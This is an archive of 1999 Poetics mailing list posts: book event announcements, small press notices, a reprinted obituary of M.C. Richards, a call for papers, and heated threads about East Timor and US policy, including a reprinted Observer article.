KRUPSKAYA Jocelyn Saidenberg, Hung Q. Tu

FLIPSIDE Anatalio C. Ubalde
ATELOS Lyn Hejinian, Travis Ortiz

20% OFF ALL BOOKS ALL DAY
OCTOBER 16 & 17, 10-6PM
SAN FRANCISCO BAY AREA BOOK FESTIVAL

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

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303. Kimmelman, Burt
cid corman (still more)
Sat 18 Sep 1999

I just got another letter from cid corman who now (why didn't i know this sooner?) says that he will be charged $35.00 either to cash a check or a wire transfer in japan, so if the amount of money that might be sent to him is small then the best bet is simply to stuff it in an envelope and hope for the best.

if you haven't and are still inclined, send to:

Cid Corman
Fukuoji-cho 80
Utano
Kyoto [redacted]
Japan.

- Burt Kimmelman

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304. **James Brook**
city lights books - fall events & readings
Sat 18 Sep 1999

For any listers in or about the San Francisco Bay Area, the following is an announcement of in-store events at City Lights Bookstore for September, October, and a smidgen of November. (NB: smidgen is a precise measurement.)

--James Brook

Upcoming Events

All City Lights events are free and open to the public.

All events take place at

City Lights Bookstore
261 Columbus Avenue
San Francisco, CA 94133
[redacted]
http://www.citylights.com

September | October | November

September Events

Tuesday, Sept. 21, 7 p.m.

Promised Land: Italian Poetry After 1975
Edited by Luigi Ballerini, Beppe Cavatora, Elena Coda, and Paul Vangelisti
A Bilingual Edition
Published by Sun & Moon Classics

The Istituto Italiano di Cultura and City Lights Books are pleased to present a reading and celebration of this delightful, comprehensive anthology of late-twentieth-century Italian poetry.

Several of the authors will be in attendance. Please join us for this special event!

[top]

Thursday, Sept. 23, 7 p.m.

L.A. Exile: A Guide to Los Angeles Writing 1932-1998
Edited by Paul Vangelisti and Evan Calbi
Published by Marsilio Press

A curious literature of exile: the writers of this anthology came from Europe, other parts of the United States, and disparate and invisible parts of California. Along with the familiar figures of prewar, exotic Hollywood, such as Raymond Chandler, F. Scott Fitzgerald, Aldous Huxley, and Thomas Mann, L.A. Exile offers a look at the successive generations who have addressed a different, ever-shifting, essentially boundless and absent metropolis.

Paul Vangelisti will speak and sign copies of L.A. Exile.

[top]

October Events

Friday, Oct. 1, 7 p.m.

Lotería Cards and Fortune Poems: A Book of Lives
Linocuts by Artemo Rodríguez
Poems by Juan Felipe Herrera
Published by City Lights Books

Come celebrate with us the release of Lotería Cards and Fortune Poems, the linoleum-cut prints of talented Mexican artist, Artemo Rodríguez, paired with the poetry of the fine Chicano poet, Juan Felipe Herrera. Based on lotería, a popular game of chance from colonial Mexico, the images are masterful reinterpretations of traditional iconography, as seen by an artist new to the United States.

Lotería Cards and Fortune Poems gives a contemporary twist to a rich folk tradition. Rodríguez and Herrera offer a seamless union of word and image, and of Mexican and Chicano sensibilities.

[top]

Sunday, Oct. 3, 4 p.m.

Distance No Object
By Gloria Frym
Published by City Lights Books

Come join author Gloria Frym to celebrate the publication of her second book of short stories. In Distance No Object, Gloria Frym turns her ironic, passionate gaze to post-Vietnam Berkeley and San Francisco. Private lives are still swept along by the currents of history, as in the sixties. But the names of the wars of have changed. . . . The stories of Distance No Object evoke the deep frustrations between generations, friends, neighbors, and races. Yet civility, quotidian justice, a common language, and new love are imagined. . . .

Gloria Frym's previous books include How I Learned, By Ear, Back to Forth, and Impossible Affection.

[top]

Wednesday, Oct. 13, 7 p.m.

Honk if You Love Aphrodite
By Daniel Evan Weiss
Published by Serpent's Tail Press

Acclaimed author of The Roaches Have No King and The Swine's Wedding, Daniel Evan Weiss reimagines Homer's Odyssey as set in contemporary Brooklyn. Described as "abundantly funny, exhilaratingly cynical" by Fay Weldon and the "Evil Knievel of

novelists" by Newsday, Weiss takes us on an epic quest for love in the boroughs of the Big Apple.

Come hear David Evan Weiss read from Honk if You Love Aphrodite.

[top]

Monday, Oct. 18, 6 p.m.

Bookstore: The Life and Times of Jeannette Watson and Books & Co.
By Lynne Tillman
Published by Harcourt Brace

From 1977 to 1997 Books & Co. was one of the premier independent bookstores in the country. Stocking a wide range of fiction and nonfiction, the Madison Ave. bookstore was the kind of bookstore writers and readers dream about: a place where reading was an adventure, where interesting works would always be available, where writers would congregate to share ideas and discuss their writing. In Bookstore, Lynne Tillman tells the story of this legendary bookstore and its founder, Jeannette Watson, through the voices of employees, customers, writers, fellow booksellers, and people throughout the world of publishing.

Jeannette Watson will speak about Bookstore and her remarkable career.

[top]

Wednesday, Oct. 20, 7 p.m.

Imperial San Francisco: Urban Power, Earthly Ruin
By Gray Brechin
Published by University of California Press

Local urban geographer and coauthor of Farewell, Promised Land: Waking from the California Dream, Gray Brechin offers a myth-shattering reevaluation not only of the city by the Golden

Gate but of urbanization itself in a saga that extends from the rise of ancient Rome to the founding of Washington, D.C., to the nuclear destruction of Hiroshima.

Gray Brechin will speak and sign copies of his books.

[top]

Thursday, Oct. 21, 7 p.m.

Two new books by William L. Fox--

Mapping the Empty: Eight Artists and Nevada
Published by University of Nevada Press
&
Driving by Memory
Published by University of New Mexico Press

William L. Fox is literature consultant for the Western States Arts Federation, a poet and writer, an arts consultant, and a curator. He has published poems and articles in sixty magazines and he has had thirteen collections of poetry published in three countries. He is the author of several exhibition catalogues and the editor of two anthologies.

Mapping the Empty relates the unique work of eight Nevada artists to the geography of their state. Driving by Memory is a meditation on driving in the desert. It is a profoundly personal book about the most public of subjects: life in the postmodern West at the end of the millennium and what the cities, the freeways, the open spaces, and the billboards tell us about ourselves.

William L. Fox will be on hand to sign copies of his new books.

[top]

Sunday, Oct. 31, 5 p.m.

The Vampire Lectures
By Lawrence Rickles
Published by University of Minnesota Press

Things get spooky in cultural studies on Halloween! The Vampire Lectures is based on the course that Lawrence Rickles has taught for several years at the University of California, Santa Barbara. Rickles gives undead history of vampirism in legend, literature, and film. The Vampire Lectures makes an original and intellectually rigorous contribution to literary and psychoanalytic theory as Rickles identifies the subconscious meanings, complex symbolism, and philosophical arguments--particularly those of Marx, Freud, and Nietzsche--embedded in vampirism and the gothic.

Come meet Lawrence Rickles before the lights go out!

[top]

November Events

Tuesday, Nov. 16, 7 p.m.

The Monstrous and the Marvelous
By Rikki Ducornet
Published by City Lights Books

In her first book of essays and interviews, Rikki Ducornet focuses her "fearless looking" on contemporary art, literature, and politics. She examines the scatological clocks of Jonathan Swift and Angela Carter, the cabalistic dada of Robert Coover, and the lethal eroticism of David Lynch and the Brothers Quay. The works of Clarice Lispector, Ramón Alejandro, Joseph Cornell, Rosamond Purcell, Kafka, and Borges are occasions for investigation into a subversive aesthetic of terror and pleasure. In The Monstrous and the

Marvelous Ducornet gives us NAFTA as Babel and Chiapas as gnostic nightmare.

Rikki Ducornet is also the author of Entering Fire (City Lights Books), The Stain, The Fountains of Neptune, The Jade Cabinet, and Phosphor in Dreamland. She makes a rare appearance to speak and sign copies of her new book.

[top]

Copyright © 1999 City Lights Books

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305. **Jerrold Shiroma**
Small Press Announcements deadline
Sun 19 Sep 1999

The deadline for this weeks Small Press Publications Announcements page at Duration online is this Friday. Any publisher who wishes their books/journals/ etc. listed, please send all relevant information--titles, authors, prices, contact/ ordering information/brief blurbs/& web addresses (if applicable), to Jerrold Shiroma @ [redacted]

↑ Index

306. **Lawrence Upton.**
(no subject)
Sun 19 Sep 1999

Writers Forum announces the publication of 6 more issues of Domestic Ambient Noise. They are:

"bah!" by Bob Cobbing & Lawrence Upton; Writers Forum, 1999; ISBN 0 86162 89 0 X

"bah-amas" by Lawrence Upton & Bob Cobbing; Writers Forum, 1999; ISBN 0 86162 891 8

"raffish" by Bob Cobbing & Lawrence Upton; Writers Forum, 1999; ISBN 0 86162 892 6

"naff" by Lawrence Upton & Bob Cobbing; Writers Forum, 1999; ISBN 0 86162 893 4

"inhabit the kick" by Bob Cobbing & Lawrence Upton; Writers Forum, 1999; ISBN 0 86162 894 2

"kick that habit" by Lawrence Upton & Bob Cobbing; Writers Forum, 1999; ISBN 0 86162 895 0

Each is £1 sterling + postage. Discounts for multiple copies. Sterling cheques only please

Order from New River Project, 89a Petherton Road, London N5 2QT. Enquiries with s.a.e. / i.r.c. please

---
Writers Forum website
http://www2.crosswinds.net/members/~writersforum/

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307. **Lowther, John**
IMAGINING LANGUAGE
Sun 19 Sep 1999

{ p o e t i x }

interesting ------ a fair number of folks wrote me backchannel to express a thought or two about the book in question ----- thanx to all of you, i was clearly overstating when i suggested that there weren't many who were up to the task of reviewing it ----- yet stand by the statement in spirit still

cd anyone give me emails for steve mccaffery and jed rasula and MIT press ? ------ i'd like to give them a piece of my mind ----- tom orange talks in his review about the anthology "industry" and of critics who write specifically about anthologies ------ tom, no offense, but i don't care too much about that ----- that this amazing book is unlikely to be used as a classroom text, while lamentable, doesnt matter very much to me ------- it is my belief that short of insuring that a copy be installed in every public library in the country the best measure that MIT cd take wd be to put the entire text on-line ----- as has been discussed here previously such actions have shown to actually boost sales of the books available in this way

further i wd love to see SMcM and JR be able to add more material to what's on-line ----- addenda and appendixes and whatever else they'd have loved to have included but which wd have made thing impossible to see into print ----- and still further i'd love to see others who've special knowledge of things hinging with the veritable universe of things which one might include as within the scope of this book, i should like to see them be able to contribute as well

i was serious when i said that i didnt think the book was over-priced ----- at the same time, had i not been the recent beneficiary of some holiday money i'd still not own the book (altho i must admit to the possibility however slight, that i might have stolen it) ---- its considerations of this kind (the cost not jail time) that make me think that the book ought to be available on line

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308. William Slaughter
Mudlark Announcement
Sun 19 Sep 1999

New and On View: Mudlark Poster No. 19

Michael Baron | doubt can bring you light

* * * * * * * * * * *

Spread the word far and wide...

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

309. Philip Nikolayev
TERVOUKLE: IDENTITY
Sun 19 Sep 1999

TERVOUKLE: IDENTITY

Documents are linear teleorphinations.
Tables are grandiloqueporcations.
Manners are fertiliregrinations.
Chalices are infovarications.
Intellemorganating in the gutter,
An alcoholimeritrist may utter:
I much prefertorilifize butter
To living in the fuduruckable gutter.
My identity is telemordopted,
And I have been technically coopted
Intorout the service of the craneorum.

> But here I stand alone amid the forum.
> As zeugmafores fly sprawling on the wind,
> my alphatrones are comfortably ginned.

↑ Index

310. David Highsmith
Philip Whalen / Scalapino
Sun 19 Sep 1999

Leslie Scalapino has asked that I report that Philip Whalen is back in the hospital (Mount Zion, 1600 Divisidero, San Francisco) and can receive cards there for about the next twelve days after which it is assumed that he will be released, having completed his course of treatment.

↑ Index

311. Mills, Billy
Novels of the 60's
Mon 20 Sep 1999

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

> charset="iso-8859-1"

Is it just me, or does anyone else find it ironic that, in the middle of all this debate about U.S. imperialism, someone seems to be suggesting that certain novels belong to the 60's because they became available in the U.S. in that decade?

Billy Mills

Billy Little wrote:

Subject: Re: novels of the 60's

lady chatterley's lover
henry miller
 ullysses
 lolita
and i thought ginger man
were forbidden in the states until maybe the howl trial or was that in 57 too?
Didn't the 60's start in 55? and end with the murder of john lennon?was that 79?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0

canadaddy
[redacted]
zonko

charset="iso-8859-1"

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</HEAD>
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anyone else find it ironic that, in the middle of all this debate about = U.S. im-
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<P><FONT SIZE=3D2 FACE=3D"Times New Roman">Billy Mills</FONT>
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<FONT SIZE=3D2 FACE=3D"Times New Roman">nowhere, b.c.
V0R1Z0</FONT>

<FONT SIZE=3D2 FACE=3D"Times New Roman">canadaddy</FONT>

<FONT SIZE=3D2 FACE=3D"Times New Roman">[redacted]</FONT>

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href=3Dwww.zap.to/zonko.html>zonko</FONT>
</P>

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312. Ron Silliman
MC Richards
Mon 20 Sep 1999

From today's NY Times. I had not realized that she lived just 15 miles away.

Ron

September 20, 1999

M.C. Richards, Poet, Potter and Essayist, Dies at 83

By ROBERTA SMITH

M. C. Richards, a poet, potter, essayist, translator and painter, who taught at Black Mountain College in the late 1940's and thereafter became an impassioned advocate of community in both art and life, died on Friday at Camphill Village, an agricultural community in Kimberton, Pa., where she had lived since 1984. She was 83. An artist who wrote poems about pottery and made pots inspired by her reading, Ms. Richards was perhaps best known for "Centering in Pottery, Poetry and the Person," a book of essays published in the middle of the tumultuous 1960's that was impressive for its synthesis of thought, plain speech and incantatory momentum. The book, which became an underground classic, pulled together ideas about perception, craft, education, creativity, religion and spirituality, arguing for the richness of daily experience if carefully attended to, and the creativity of the average person. "Poets are not the only poets," Ms. Richards wrote.

Mary Caroline Richards was born in Weiser, Idaho, in 1916 and reared in Portland, Ore. She earned a bachelor's degree in literature and languages from

Reed College in 1937, with a thesis titled "Poetry of the Tang Dynasty in Relation to Western Imagism." She went on to the University of California at Berkeley, where she studied Chinese and wrote her Ph.D. dissertation on irony in Thomas Hardy in 1942. She then began a brief marriage, and taught English at the Central Washington College of Education in Ellensburg, Wash., and at the University of Chicago. But she found academic life stifling.

In 1945 she married Albert William Levi Jr., her second husband and a social scientist who was invited that year to join the faculty of the experimental Black Mountain College, near Asheville, N.C. Black Mountain was a short-lived laboratory for innovative teaching and art whose faculty and students included Josef and Anni Albers, John Cage, Merce Cunningham, David Tudor, Robert Rauschenberg and Charles Olson.

At Black Mountain Ms. Richards taught writing, produced and, when necessary, translated plays by Cocteau, Satie and Yeats. She also danced and studied pottery with Robert Turner. Around 1950 she participated in what might have been the first "happening," with Cage, Olson, Rauschenberg and Franz Kline. In 1951 she separated from her husband, whom she later divorced, and in 1952 she went to New York with Tudor.

She studied pottery at Greenwich House in Greenwich Village, attended the meetings of the downtown avant-garde known as the Club and worked on the first English translation of Antonin Artaud's influential "Theater and Its Double," published by Grove Press in 1958.

In 1954 Ms. Richards, Tudor and Cage, along with Paul Williams, an architect, and Karen Karnes, a potter, who had both also been at Black Mountain, established a commune called the Land near Stony Point, N.Y. Ms. Richards lived there for a decade, working in a studio with Ms. Karnes; they developed a form of flame-proof clay that enabled them to make ceramic cookware.

Ms. Richards began giving pottery workshops in the early 1960's. Reflecting the ideas that would figure in "Centering," these became increasingly interdisciplinary, with titles like "Clay and Words," "Clay and Movement" and "Clay and Eurythmy." She lectured and taught workshops at schools in the United States, Canada and Britain.

Her longest teaching affiliation, from 1986 until her death, was with the University of Creation Spirituality, established in Oakland, Calif., by Matthew Fox, a Dominican priest.

Ms. Richards's books, which often mixed prose and poetry, included "The Crossing Point" (1973), "Opening Our Moral Eye" (1996), "Imagine Inventing Yellow" (1991) and "Toward Wholeness: Rudolf Steiner Education in America," a work

of social philosophy. The Camphill community in Kimberton is one of 80 Camphills worldwide based on Steiner's teachings.

In 1989 Ms. Richards, who has no survivors, added painting to her roster of activities. She then exhibited ceramics, poems and paintings together, most recently at the Works Gallery in Philadelphia in 1997. The Worcester Center for Crafts in Massachusetts is organizing a retrospective of her work that is to open on Oct. 9, with a public memorial.

Ms. Richards embraced old age with characteristic openness, writing a poem in 1997 in which she saw herself as "living toward dying, blooming into invisibility."

↑ Index

313. Poetics List Administration
A Call for a Paper
Mon 20 Sep 1999

---

had to reformat this one a bit.

From:[redacted]
Time: 16 Sep 1999 21:10:57 -0000

Dear Lists,

Hi, I'm the editor of Fence, a journal of poetry, fiction, art and criticism. What follows below is a call for a paper:

Our explicit intention at Fence is to maintain a kind of deeply curious innocence in matters of literary genealogy: not to avoid opinion, but to publish essays that foster poetic literacy by tracing the development of various issues, schools of thought, and aesthetics surrounding contemporary poetry. Because we are interested in inviting all kinds of readers to the table, the essays we publish are addressed, to a certain extent, to the lay-person, ie, not someone who has already read all the secondary sources.

The Poetry Wars are fought, to a great extent, over the idea of subjective experience. For our 6th issue, we are seeking an expository essay of 10-15 ms. pages which traces the development, roots and shoots exposed, of the treatment of the self in poetry, starting sometime in the early 19th century and placing special emphasis on the last fifty years or so. We are looking for someone who can take a relatively non-partisan approach; someone who can drop names left and right, from Coleridge to Olson to Lowell to Hejinian; and someone who is willing to work closely with Fence's editors.

If you think you might be interested in writing such an essay, please contact Frances Richard, Fence's non-fiction editor, at [redacted].

Thank you.

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314. Charles Bernstein
Rudy Burckhardt Memorial
Mon 20 Sep 1999

Memorial for Rudy Burckhardt
an evening of poetry, dance, and film

Tuesday, November 2, 1999, 7:30 PM
in the Great Hall at Cooper Union
7 East 7 Street, New York

with

Jacob Burckhardt
Lukas Burckhardt
Tom Burckhardt
Yoshiko Chuma
Douglas Dunn & Grazia Della Terza
Red Grooms
Eric Holzman
Yvonne Jacquette
Alex Katz
Vincent Katz
Ron Padgett
Simon Pettet
Edith Schloss

and others

*

Screening of Films by Rudy Burckhardt
6PM, Tuesday November 30, 1999
Museum of Modern Art, New York

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315. Poetics List Administration
Novels of the 60's
Mon 20 Sep 1999

---

had to reformat this one a bit.

From: "Mills, Billy" <[redacted]>
Time: Fri, 17 Sep 1999 09:15:44 +0100

Haven't seen any mention of:

Ken Kesey: Sometimes a Great Notion

Flann O'Brien: The Third Policeman and The Poor Mouth

Billy

hardPressed poetry

Alternative Irish poetry publishing and distribution

[redacted] <mailto:[redacted]>

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316. Poetics List Administration
Marxists: You Have Nothing to Lose But Your Pain
Mon 20 Sep 1999

---

had to reformat this one a bit.

From: Michael Neff <[redacted]>
Date: Fri, 17 Sep 1999 09:38:34 -0400

Observation: The Whiff of Marxism

Following any number of conspiracy buzz words, statements, "theories" posted front channel re Chevron, Exon, "follow the money" etc. and blistering backchannel attacks by individuals who I know to be bonafied life-cheated Marxists and/or fringe Marxists, my distracted and plodding neurophysics has all too slowly found the common thread in all this religious fervor. Not just "leftist" which is a label all too vague.

I've been hearing the chanting, only dismissed it long ago. Now it's returned, alive and well and festering. The capitalist thread, Marxists "following the money" and seeing unbreakable and absurdly complex webs of control spun from the corporate board rooms of oil. Of course, what else could explain the stench of America rising from the corpse of Timor? The card house complexities follow. An American official, Kissinger, touches down in Indonesia in 1975,

decades of unrest, slaughters, feuding continue till the present, billions of dollars worth of arms, cash, and advisors are dispatched to make sure the killing continues in the most frenzied and diabolical of forms, and behind it all, the coporate moguls, the black gold zaibatsu, bloated and cigar fuming and chuckling at the pile of dead.

When all they had to do, like they and everyone else does so business-as-usual in the "third" world, is simply pass a few bribes to the Indonesian govt to get drilling rights.

For that matter, they could have bribed the Portugese!

What a waste of time! If I were at the NSA I'd be pissed, but we know that govt officials are far more intelligent than we are.

--simple boundary--

↑ Index

317. Poetics List Administration
Re: M.B. Tolson
Mon 20 Sep 1999

---

had to reformat this one a bit

From: Al Filreis <[redacted]>
Date: Fri, 17 Sep 1999 09:42:19 -0400

On Tolson and _Poetry_ (miscellaneously):

"E. & E. O." was accepted by _Poetry_ and published there with pretty strong support from (then editor) Karl Shapiro. That was, as Aldon says, 1951. Tolson had begun approaching _Poetry_ with his work in 1948. After Tolson won _Poetry_'s Best Hokin Prize, and after Lorenzo Turner published a positive review of _Libretto_ (also in _Poetry_), Henry Rago, who was then editor, got a letter from Hayden Carruth, who was also a _Poetry_ insider (having been an editor in the late 40s)--complaining about the quality of Turner and Tolson both. Both "stinkers," Carruth said. Rago replied in agreement and went further: the Turner review had come in before he, Rago, became editor, and while Shapiro was away in Europe. In other words, it was a mistake. So was accepting Tolson's poetry. Rago implied that Shapiro was not a Tolson supporter and that Tolson's poetry is awful, unfit for _Poetry_--an embarrassment. This was a lie: Shapiro had backed Tolson.

On Ray Nelson:

He is a superb editor. And critic--especially of American visionary romantic verse. His little book on Patchen is superb.

--Al Filreis

---------- --

| There is finally an edition in paperback of Melvin Tolson's poems, or at | least most of them. Just out from University of Virginia Press is | <underline>"Harlem Gallery" and Other Poems of Melvin B. | Tolson.</underline> The book includes the three volumes that were | published during Tolson's life, along with a few magazine pieces that had | not been collected, including the crucial "E. & O. E." which appeared in | <underline>Poetry</underline> in 1951. The new edition includes Tolson's | notes to <underline>Libretto for the Republic of Liberia</underline> and | new annotations to <underline>Harlem Gallery</underline>, provided by the | editor, Raymond Nelson. What is not included are the earlier poems that | appeared a few years ago as <underline>A Gallery of Harlem | Portraits</underline> and some fugitive poems. There will be two | previously unpublished Tolson poems in an anthology that I am editing | with Lauri Ramey that Alabama will publish soon.

--simple boundary--

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318. Poetics List Administration
Imagining Language
Mon 20 Sep 1999

---

had to reformat this one a bit.

From: Tom Orange <[redacted]>
Date: Fri, 17 Sep 1999 10:26:17 -0400

john and others,

i have a review of _imagining language_ that has just appeared in the latest issue of _literary research/recherche litteraire_ (a publication that comes with membership in the icla/ailc). the print version contains scandalous amounts of typos and other editorial interventions with which i am very displeased. but a quick scan of the on-line version suggests to me that it is identical to the version i intended for publication.

http://www.uwo.ca/modlang/ailc/current/orange.htm

the same issue also contains my review of marjorie perloff's _poetry on and off the page_ (likewise superior to the print version) at

http://www.uwo.ca/modlang/ailc/current/orange2.htm

from beautifully sunny washington d.c.,
("everyone come out of the ark, the flood is over!")

tom

--simple boundary--

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319. KENT JOHNSON
A drum on my head
Mon 20 Sep 1999

Dear List, if I may be allowed a clarification over the two suspisciously similar posts just put up ("Beating Drums" and "The Sound of Drums"): I had written our dear moderator asking that he withdraw the hastily-written former one and substitute it with the more considered latter one. Alas, he did not get to my b-c note in time. Thus you now have a revised post and an awkward trace of its textual history, tho much to my chagrin, as I would rather you had thought my second post composed in one fell-swoop of Marxist-inspired incandescent heat.
thank you,

Kent

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320. Jacques Debrot
Re: ANNOUNCING 9 TO 0
Mon 20 Sep 1999

Announcing the first issue of NINE TO ZERO MAGAZINE.

Featuring:

New visual work by *RAY DI PALMA*

Poems by *LISA JARNOT* and *JACK KIMBALL*

Raster Drawings by *SIGMAR POLKE*

Nine to zero is only $2.50
Please make checks payable to
Jacques Debrot
49 Old Meetinghouse Road
Norton, MA 02766

Future issues will appear approx every 2 months and will present work by Mary Burger, Jordan Davis, Michael Magee, Dieter Roth, Yayoi Kusama and many others.

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321. **Patrick Herron**
Re: US/Aus/Indonesia/E Timor
Mon 20 Sep 1999

> >Believe me Patrick, the US Govt is far, far more stupid than malevolent.
>
> And again, I think you are wrong. Actually, I know this is wrong. There
> are people in the government much more intelligent than you or me. And they
> plan, they know about contingencies, it's their lives. Me, I'm just farting
> around on a keyboard. They often do things and call them mistakes, because
> it fools us into a comfortable position of superiority, albeit poorly
> founded.

>Oh, no no no, a thousand times no, they are NOT more intelligent than you,
>or
me!

There's nothing wrong with modesty in the face of greater experience. Perhaps false modesty - I would at least consider those involved as my intellectual equal. I would hardly call myself superior to these people. If I did, I would be guilty of the same crap they are. they are well-educated, book-savvy, thinkers with intellectual gifts, and so on. Not all of these people are that smart. George Bush is not exactly a genius. But there are others that are.

>Do you think your govt (whatever that really means, NSA? CIA? Congress? West Wing White House) is composed of Zarathustrian supermen?

I don't know how smart you are, but it doesn't take a Zarathustrian superman to be smarter than me. To clarify again, there are people involved who are very intelligent. As far as organizations go, these people are distributed across many orgs. Some have more power than others.

> *This is one of the key factors to accepting such theories. I happen to know CIA, e.g., exhibits all the characteristics of a dumb bureaucracy living in a denial culture. Bureaucrats in CIA even hide things from each other. The behaviors are astonishing and hysterical.*

I don't know much about the common desk bureaucrat. I would agree with you there. Those aren't the individuals I'm talking about.

>How else to explain the Ames spying success and
being caught unawares when communism fell in eastern europe.

Well, that depends on you imagination, or your connections. Perhaps it would be best to explain it by the facts. And the basc rule of thumb in intelligence

field work is, everyone has to talk sometime. All people with clearance reveal their secrets at some time on their lives (unless they get snuffed before the opportunity is seized). So Ames took that very human nature a bit further. It's not as uncommon as the news reports we get about it. for every Ames there are 10 more in the CIA. If that tells you anything.

> *Agencies fight with each other for control constantly, bureau chiefs fight, their is continuous turmoil and upheaval with these stratifications.*

Sure. No one's arguing with that. Of course they're human, there are bureaucrats in gov't organizations. But they're not all bureaucrats.

> *But I don't expect you to accept this on face value.*

Whatever that means (doh!).

Patrick

Get Your Private, Free Email at http://www.hotmail.com

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322. Patrick Herron
Re: Beating drums
Mon 20 Sep 1999

Whoa. Pretty stunning. Thanks for the clarification.

: P

Patrick Herron

Michael Neff said:

> *These are the same people who argue that Marxism is a credible >political alternative and that the shout of freedom heared in eastern Europe >many years ago was nothing but a CIA manipulation. They only have >one drum and they bang it continuously while chanting America is Evil, >America is Evil, thereby seeking the solace of moral high ground and >community forever lost to them in the sixties.*

Well, Michael, the caricature you draw above of those who find fault in your arguments seems the perfectly-traced image of the "dogmatism" you claim to despise.

No one has said that those wielding the guns and machetes on the ground are morally blameless. Where did you get that one? The reason people are upset with you, I think (though your argument is not worth getting as upset about as some apparently have in back- channel), is that you are so unwilling to recognize a simple something which should be self-evident: Local legacies, down to a machete's fine edge, are implicated in global histories. And in a country like

Indonesia, whose history and political present are inextricable from imperialist intrigue and manipulation, this is quite evidently the case.

But to you, it seems, the use of "primitive," non-Pentagon supplied machetes is the anthropological sign that shows the violence for what it autochthonously is--yet one more primal spasm in a culture condemned to repeated blood-letting. You challenge people to prove otherwise. And so people (while not disagreeing that violence is, indeed, primal) have given you ample evidence that the current strife has manifested itself inside specific conditions that our government (along with other imperialist powers) has had a considerable hand in creating and perpetuating, having helped to install and then unflaggingly abet, as it has, the same party that now organizes the machete wielders.

The irony here is that it is up to you, really, to show that this history of which people have spoken has little to do with the past and present suffering in East Timor. You haven't. And you end your intervention in this discussion, even, by suggesting that the history doesn't exist except in the minds of America-Is-Evil shouting poet- spooks trapped in a 60's induced psychosis. Deep denial is a form of psychosis, Michael. I wonder if there is a clinical name for the kind where the victim's ears are filled with the sound of beating drums?

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323. Christina Milletti

How US trained butchers of Timor article in Lon. Obs.

Mon 20 Sep 1999

THE LONDON OBSERVER, Sunday September 19, 1999

How US trained butchers of Timor

Exclusive: Washington trained death squads in secret while Britain has spent L1m helping Indonesian army

Indonesia and East Timor: special report

Ed Vulliamy in New York and Antony Barnett

Indonesian military forces linked to the carnage in East Timor were trained in the United States under a covert programme sponsored by the Clinton Administration which continued until last year.

The Observer can also disclose that the Government has spent about L1 million in training more than 50 members of the Indonesian military in Britain since it came to power.

Human rights campaigners claim a number of these are likely to have links with those complicit in the attrocities.

The US programme, codenamed 'Iron Balance', was hidden from legislators and the public when Congress curbed the official schooling of Indonesia's army after a massacre in 1991. Principal among the units that continued to be trained was the Kopassus - an elite force with a bloody history - which was more rigorously trained by the US than any other Indonesian unit, according to Pentagon documents passed to The Observer last week.

Kopassus was built up with American expertise despite US awareness of its role in the genocide of about 200,000 people in the years after the invasion of East Timor in 1975, and in a string of massacres and disappearances since the blood-bath. Amnesty International describes Kopassus as 'responsible for some of the worst human rights violations in Indonesia's history'.

The Pentagon documents - obtained by the US-based East Timor Action Network and Illinois congressman Lane Evans - detail every exercise in the covert training programme, conducted under a Pentagon project called JCET (Joint Combined Education and Training). They show the training was in military expertise that could only be used internally against civilians, such as urban guerrilla warfare, surveillance, counter-intelligence, sniper marksmanship and 'psychological operations'.

Specific commanders trained under the US programme have been tied to the current violence and to some of the worst massacres of the past 20 years, including the slaughter at Kraras in 1983 and at Santa Cruz in 1991. The US-trained commanders include the son-in-law of the late dictator General Suharto, Prabowo Subianto, and his mentor, General Kiki Syahnakri - the man appointed last week by the so-called 'reform' government as commissioner for martial law in East Timor.

The secret programme unveiled in the document became the focus for military training when above-board aid was curtailed by Congress after the Santa Cruz massacre. Congress had stepped in after up to 270 peaceful protesters - many of them schoolchildren - were murdered by Kopassus shock troops as they paraded through Dili.

American sponsorship of the Indonesian regime began as a matter of Cold War ideology, in the wake of defeat in Vietnam. The left-wing movement in East Timor was feared by Jakarta and seen by the US as an echo of those in southern Africa and of Salvador Allende's government in Chile. Jakarta's harassment of the Timor government

and the invasion of 1975 were duly encouraged by the United States.

The training of Indonesia's officer corps peaked during the mid-Eighties. In 1990 a former official at the US Embassy in Jakarta cabled the State Department to say US sponsorship had been 'a big help to the (Indonesian) army. They probably killed a lot of people and I probably have a lot of blood on my hands'.

But the horror of Santa Cruz in 1991, when trucks were seen dumping bodies in the sea, was too much. The US decided that the training, while still available, should be paid for by the recipient nation - in other words, it would no longer be military aid. The covert programme then became the main means of training Indonesia's military - still at the American taxpayers' expense.

In an undated prospectus, the Pentagon says the prime mission was to 'to develop, organise, equip, train, advise and direct indigenous militaries'. The scale was small, to offer concentrated 'significant special training' which would create 'self-sufficient small units'. In 1996, for instance, 10 exercises involved 376 US personnel and 838 Indonesians or 'loyal' Timorese.

Britain also made a significant contribution to Indonesia's military training. The Observer has established that, since May 1997, 24 senior members of Indonesia's forces have been trained in UK military colleges. This included training in running military units efficiently and how to used technical equipment like guided missiles. In addition, 29 Indonesian officers have studied at non-military establishments.

Revelations of the extent to which Labour has used taxpayers' money to aid the Indonesian military has angered many MPs, who claim it makes a mockery of Foreign Secretary Robin Cook's 'ethical foreign policy'. In the last four years of the Tory Government, only one Indonesian soldier was trained in the UK.

Ann Clwyd, the Labour chair of the all-party group on human rights, has previously shown that Indonesian military trained here have subsequently committed atrocities. She said: 'It is simply not acceptable that we have been training these people. We know the police, the army, the militia are all interlinked. How many of those trained by this Government are now involved in the East Timor operation?'

Last week both America and Australia suspended military co-operation with Indonesia.

Funding for the military training would have been made available by the Foreign Office and Ministry of Defence through the Defence Military Assistance Fund. Earlier this year Defence Minister Doug Henderson admitted that training one Indonesian navy officer at the Joint Service Command and Staff College

and another on the International Principal Warfare Course at HMS Dryad cost the Government L170,000.

Many of the Indonesian officers were trained at the Royal Military College at Shrivenham, Oxfordshire, as part of a ' private and commercial initiative' by Cranfield University. As well as courses on managing army units, the training includes map-making and electronics.

In the past two years the Foreign Office has also given L200,000 to eight Indonesian high-flyers through its Chevening scholarship programme. This included two policemen, two from the army and two from the navy. On Friday, the Indonesian authorities stopped three servicemen taking up their scholarships.

